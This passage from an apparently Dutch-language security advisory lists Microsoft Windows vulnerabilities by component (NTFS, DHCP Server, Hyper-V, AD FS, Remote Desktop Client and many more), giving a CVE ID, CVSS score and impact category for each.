\n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | 